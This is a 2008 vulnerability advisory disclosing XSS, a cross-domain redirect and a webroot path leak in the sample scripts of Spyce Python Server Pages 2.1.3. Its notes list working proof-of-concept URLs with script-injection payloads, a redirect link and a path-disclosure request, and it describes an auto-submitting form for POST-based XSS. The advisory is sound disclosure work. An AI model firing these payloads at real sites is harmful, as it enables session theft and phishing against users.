Vulnerabilities 2008

PR08-01 Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP)

• Advisory publicly released: Tuesday, 19 February 2008
• Vulnerability found: Wednesday, 19 December 2007
• Vendor informed: Sunday, 14 January 2007
• Vulnerability fixed: the vendor did not respond, however a workaround has been included in the "Fix" section of this advisory.
• Severity level: Medium

• Credits
  Richard Brain, Jan Fry, and Bruno Kovacs of ProCheckUp Ltd (www.procheckup.com)
• Description
  All Spyce sample scripts that return client-supplied input back to the browser are vulnerable to XSS. It is also possible to redirect users to third-party sites and obtain the webroot path by not submitting required parameters to certain scripts.
• Proof of concept
  
• How to fix
  Remove sample scripts from live environments.
• Consequences
  An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a Spyce-based site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.
  
  Attackers can redirect victim users to third-party sites. Such behaviour can help attackers perform phishing attacks by redirecting the victim to a spoof login page.
• BID
  27898
• Note
  tested on Spyce - Python Server Pages version 2.1.3
  
  The following are only some examples that demonstrate XSS:
  
  http://domain.foo/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal
  
  http://domain.foo/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
  
  http://domain.foo/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
  
  http://domain.foo/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
  
  http://domain.foo/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
  
  http://domain.foo/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
  
  Other vulnerable scripts and unsanitized parameters:
  
  Script: /demos/chat/
  parameter: newline
  
  Script: /docs/examples/formintro.spy
  parameter: text1
  
  Script: /docs/examples/formtag.spy
  parameter: mytext
  parameter: mydate
  
  Script: /docs/examples/redirect.spy
  parameter: type
• Note
  some XSS can only be exploited via POST requests (as opposed to GET). This could be done by using an embedded HTML form with "method='POST'" attribute and a JavaScript snippet that causes the form to auto-submits itself. Such form would be located on a third-party site.
  
  Cross-domain redirect PoC:
  
  http://domain.foo/spyce/examples/redirect.spy?url=www.procheckup.com&type=external
  
  Requesting the following URL returns the server's webroot:
  
  http://domain.foo/spyce/examples/automaton.spy
• CVE reference
  CVE-2008-0980
• References
  

  
  http://www.procheckup.com/research/views/vulnerabilities

  
  http://spyce.sourceforge.net/

  
  
• Legal
  Copyright 2008 Procheckup Ltd. All rights reserved.
  
  Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.